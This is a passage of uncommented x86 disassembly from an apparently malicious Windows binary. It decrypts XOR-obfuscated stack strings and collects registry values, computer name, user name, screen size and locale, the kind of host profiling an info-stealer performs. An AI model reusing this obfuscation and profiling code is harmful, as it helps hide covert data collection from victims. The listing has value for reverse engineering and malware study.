mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x5f0]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5f0]
movaps xmmword [ebp - 0x5f0], xmm1
movaps xmm1, xmmword [ebp - 0x5e0]
push edx
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x5e0], xmm1
call fcn.00403350
add esp, 0xc
cmp dword [ebx + 0x60], 0
je 0x4dea71
cmp dword [ebx + 0x64], 0xf
lea edx, [ebx + 0x50]
cmova edx, dword [ebx + 0x50]
jmp 0x4dea76
mov edx, 0x562de8
mov dword [ebp - 0x18], 0x89ba84e4
mov dword [ebp - 0x14], 0xf9cd6df4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x310]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x310]
push edx
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x310], xmm1
call fcn.00403350
add esp, 0xc
cmp dword [ebx + 0x48], 0
je 0x4deb20
cmp dword [ebx + 0x4c], 0xf
lea edx, [ebx + 0x38]
cmova edx, dword [ebx + 0x38]
jmp 0x4deb25
mov edx, 0x562de8
cmp dword [ebx + 0x30], 0
je 0x4deb38
cmp dword [ebx + 0x34], 0xf
lea esi, [ebx + 0x20]
cmova esi, dword [ebx + 0x20]
jmp 0x4deb3d
mov esi, 0x562de8
mov dword [ebp - 0x18], 0xc8e3bbe1
mov dword [ebp - 0x14], 0x9daf77a5
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x18], 0x12601c4c
mov dword [ebp - 0x14], 0xd3faa9d4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x18], 0x99c732ea
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x610]
xorps xmm1, xmmword [ebp - 0x70]
push edx
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x610]
movaps xmmword [ebp - 0x610], xmm1
movaps xmm1, xmmword [ebp - 0x600]
push esi
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x600], xmm1
call fcn.00403350
add esp, 0x10
lea ecx, [ebp - 0xd8]
call fcn.00413460
mov byte [ebp - 4], 0x16
mov eax, dword [0x586340]
mov ecx, dword [0x586344]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xa4], ecx
cmp eax, ecx
je 0x4dedc0
nop dword [eax]
mov esi, dword [eax]
lea ecx, [ebp - 0xd8]
push esi
lea eax, [ebp - 0x73c]
mov dword [ebp - 0xcc], esi
push eax
call fcn.00423c90
mov edi, dword [ebp - 0x734]
cmp byte [edi + 0xd], 0
jne 0x4dece4
cmp dword [edi + 0x24], 0xf
lea eax, [edi + 0x10]
mov edx, dword [eax + 0x10]
jbe 0x4decc5
mov eax, dword [eax]
cmp dword [esi + 0x14], 0xf
mov ecx, esi
jbe 0x4deccf
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.0041c6b0
add esp, 8
test eax, eax
jns 0x4ded9c
cmp dword [ebp - 0xd4], 0x5d1745d
je 0x4e1ac9
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0xd8]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x17
push 0x2c
mov dword [ebp - 0x1c4], 0
call fcn.00433662
mov edi, eax
add esp, 4
mov dword [ebp - 0x1c4], edi
mov byte [ebp - 4], 0x18
lea esi, [edi + 0x10]
push dword [ebp - 0xcc]
mov ecx, esi
mov dword [ebp - 0x14], esi
call fcn.004163b0
mov byte [ebp - 4], 0x19
mov dword [esi + 0x18], 0
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xbc]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov word [edi + 0xc], 0
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x1c4], 0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xd8]
push edi
push dword [ebp - 0x738]
push dword [ebp - 0x73c]
call fcn.0041e260
mov edi, eax
mov eax, dword [ebp - 0xac]
inc dword [edi + 0x28]
add eax, 8
mov dword [ebp - 0xac], eax
cmp eax, dword [ebp - 0xa4]
jne 0x4dec90
mov edi, dword [ebp - 0xf4]
xorps xmm0, xmm0
mov dword [ebp - 0x1d0], 0
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
mov byte [ebp - 4], 0x1f
xor edx, edx
mov esi, dword [ebp - 0xd8]
mov byte [ebp - 0x155], dl
mov esi, dword [esi]
cmp byte [esi + 0xd], dl
jne 0x4deea6
nop word [eax + eax]
lea eax, [esi + 0x10]
lea ecx, [eax + 0x18]
mov dword [ebp - 0xa4], ecx
cmp dword [ecx], edx
jle 0x4dee5a
lea edx, [ebp - 0x1e0]
cmp edx, eax
je 0x4dee58
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x4dee45
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00416130
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ecx]
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x4dee84
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x4dee80
nop dword [eax]
cmp esi, dword [eax + 8]
jne 0x4dee80
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x4dee70
mov esi, eax
jmp 0x4dee9c
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x4dee9c
nop
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x4dee90
cmp byte [esi + 0xd], 0
je 0x4dee20
cmp dword [ebp - 0x1d0], 0
ja 0x4def5e
mov dword [ebp - 0x18], 0xa980d480
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x38], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x250], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4def42
sub ecx, edx
lea eax, [ebp - 0x250]
push ecx
push eax
lea ecx, [ebp - 0x1e0]
call fcn.00416130
cmp dword [ebp - 0x1cc], 0xf
lea edx, [ebp - 0x1e0]
cmova edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x18], 0x89d09df7
mov dword [ebp - 0x14], 0x87b55ff9
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x18], 0xd2c5a19
mov dword [ebp - 0x14], 0x9af6fa94
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], ecx
mov dword [ebp - 0x18], 0x94b41dc7
mov dword [ebp - 0x14], 0x1b8ae465
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x630]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x630]
movaps xmmword [ebp - 0x630], xmm1
movaps xmm1, xmmword [ebp - 0x620]
push edx
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x620], xmm1
call fcn.00403350
mov dword [ebp - 0x144], 0
add esp, 0xc
mov dword [ebp - 0x18], 0xfdc69bfe
mov dword [ebp - 0x14], 0xb6925f86
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6e0], eax
mov dword [ebp - 0x6dc], ecx
mov dword [ebp - 0x18], 0x22c712a
mov dword [ebp - 0x14], 0xcface68a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], ecx
mov dword [ebp - 0x18], 0xce9b4c81
mov dword [ebp - 0x14], 0x74ee8a06
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6d0], eax
mov dword [ebp - 0x6cc], ecx
mov dword [ebp - 0x18], 0x6df800af
mov dword [ebp - 0x14], 0xdab0dab2
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x18], 0xd8418013
mov dword [ebp - 0x14], 0xa69eea01
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6c0], eax
mov dword [ebp - 0x6bc], ecx
mov dword [ebp - 0x18], 0x4318b7d9
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x6b8], eax
mov dword [ebp - 0x6b4], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0xb624f261
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x14], 0xd4fbbc75
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x18], 0x2d77deaa
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x14], 0x6d869c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x6e0]
xorps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0xc4]
movaps xmmword [ebp - 0x6e0], xmm1
lea eax, [ebp - 0x6e0]
movaps xmm1, xmmword [ebp - 0x6d0]
xorps xmm1, xmmword [ebp - 0x70]
movaps xmmword [ebp - 0x6d0], xmm1
movaps xmm1, xmmword [ebp - 0x6c0]
push 0
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push closesocket
movaps xmmword [ebp - 0x6c0], xmm1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4df597
mov dword [ebp - 0x1f8], 0x20019
mov dword [ebp - 0x1fc], 0x400
mov dword [ebp - 0x18], 0xcdefa6fd
mov dword [ebp - 0x14], 0xbdb47da4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x18], 0x61205117
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x1f00]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x320]
push eax
lea eax, [ebp - 0x1f8]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push 0
lea eax, [ebp - 0x320]
movaps xmmword [ebp - 0x320], xmm1
push eax
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4df58b
cmp dword [ebp - 0xb4], eax
je 0x4df3bd
mov dword [ebp - 0x18], 0xa9b4e2d5
lea edx, [ebp - 0x330]
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x330]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x330], xmm1
jmp 0x4df449
mov dword [ebp - 0x18], 0xa9b2e7d5
lea edx, [ebp - 0x340]
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x340]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x340], xmm1
mov dword [ebp - 0x18], 0xcdeebdfa
mov dword [ebp - 0x14], 0xc9b369be
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x18], 0x41361956
mov dword [ebp - 0x14], 0xfdacaca3
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x18], 0x99c732ea
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x650]
xorps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0x178], eax
lea eax, [ebp - 0x1f00]
push edx
push eax
movaps xmmword [ebp - 0x650], xmm1
lea eax, [ebp - 0x650]
movaps xmm1, xmmword [ebp - 0x640]
mov dword [ebp - 0x174], ecx
xorps xmm1, xmmword [ebp - 0x180]
push eax
push edi
movaps xmmword [ebp - 0x640], xmm1
call fcn.00403350
add esp, 0x10
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xff8]
push 0
push eax
call fcn.004359a0
add esp, 0xc
mov dword [ebp - 0x1f4], 0x104
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0xff8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x8c0]
call fcn.004e1ad0
mov edx, eax
mov byte [ebp - 4], 0x20
cmp dword [edx + 0x14], 0xf
jbe 0x4df5e4
mov edx, dword [edx]
mov dword [ebp - 0x18], 0xd9edbbee
mov dword [ebp - 0x14], 0x81a56aa4
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x18], 0xc247256
mov dword [ebp - 0x14], 0x85ffb39d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x18], 0xbc9c1894
mov dword [ebp - 0x14], 0x1187b91c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x190]
xorps xmm1, xmmword [ebp - 0x120]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0xff8]
push edx
push eax
movaps xmmword [ebp - 0x190], xmm1
lea eax, [ebp - 0x190]
movaps xmm1, xmmword [ebp - 0x180]
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
push eax
push edi
movaps xmmword [ebp - 0x180], xmm1
call fcn.00403350
add esp, 0x10
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x8c0]
call fcn.00402df0
push 0x104
lea eax, [ebp - 0x1100]
push 0
push eax
call fcn.004359a0
add esp, 0xc
mov dword [ebp - 0x268], 0x104
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x1100]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [ebp - 0x18], 0xdbe5a7f8
mov dword [ebp - 0x14], 0x9ea150f1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x18], 0x44650613
mov dword [ebp - 0x14], 0xa0d5848b
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x1100]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x350]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x350]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x350], xmm1
call fcn.00403350
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x7d4]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x18], 0xd9f3bde9
mov dword [ebp - 0x14], 0xd3b97fbd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x18], 0xe365924
mov dword [ebp - 0x14], 0xc9abfc94
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x18], 0xb9fd5688
mov dword [ebp - 0x14], 0x3ef2804a
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x18], 0x23d27ebc
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x18], 0xa980d4ad
mov dword [ebp - 0x14], 0xf3c01ed1
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x18], 0x61453c76
mov dword [ebp - 0x14], 0xa0df89f8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x18], 0x99c738e7
mov dword [ebp - 0x14], 0x1b8ae46f
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x670]
push dword [ebp - 0x7c8]
xorps xmm1, xmmword [ebp - 0x120]
push dword [ebp - 0x7cc]
mov dword [ebp - 0x108], eax
lea eax, [ebp - 0x670]
movaps xmmword [ebp - 0x670], xmm1
movaps xmm1, xmmword [ebp - 0x660]
mov dword [ebp - 0x104], ecx
xorps xmm1, xmmword [ebp - 0x110]
push eax
push edi
movaps xmmword [ebp - 0x660], xmm1
call fcn.00403350
push 0x400
lea eax, [ebp - 0x1b00]
push 0
push eax
call fcn.004359a0
add esp, 0x1c
lea eax, [ebp - 0x1b00]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov dword [ebp - 0x18], 0xd9f3bde9
test eax, eax
mov dword [ebp - 0x14], 0xd3b97fbd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
je 0x4dfac9
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x18], 0x62b5d3a
mov dword [ebp - 0x14], 0xc5b8e88d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x18], 0xeee218dd
mov dword [ebp - 0x14], 0x1b80e91c
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
